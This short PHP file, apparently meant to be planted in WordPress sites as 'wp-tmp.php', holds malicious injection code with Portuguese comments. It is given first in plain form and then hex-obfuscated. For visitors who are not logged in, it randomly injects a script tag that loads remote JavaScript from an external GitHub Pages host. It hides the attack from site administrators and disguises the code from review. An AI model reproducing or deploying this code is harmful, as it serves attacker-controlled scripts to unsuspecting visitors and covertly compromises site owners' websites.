wp-tmp.php

//codigo base usado
<?php
	$cliente = rand(1, 9); <!-- numero aleatorio gerado para definir usuario que acessa o site que recebera o ataque -->
	if(  is_user_logged_in() )  {
	}else
	{
	if(  ( $cliente % 3) == 0 ) {
	echo '<script type="text/javascript" src="https://magnocarvalho.github.io/js/wp-tmp.js"></script>';
		}			
	}
?>
// code acima ofuscado 
<?php $prfpjci="\x63\x6c\x69\x65\x6e\x74\x65";${$prfpjci}=rand(3,12);if(is_user_logged_in()){}else{$cnidcygjyl="\x63l\x69ent\x65";if((${$cnidcygjyl}%3)==0){echo"\x3c\x73c\x72\x69\x70\x74\x20ty\x70\x65=\x22\x74e\x78\x74/java\x73\x63r\x69pt\" \x73\x72c=\x22h\x74\x74ps://m\x61g\x6eoc\x61\x72v\x61l\x68\x6f\x2eg\x69\x74\x68\x75b.\x69\x6f/\x6as/w\x70-tm\x70\x2e\x6as\"\x3e\x3c/\x73c\x72\x69p\x74>";}}?>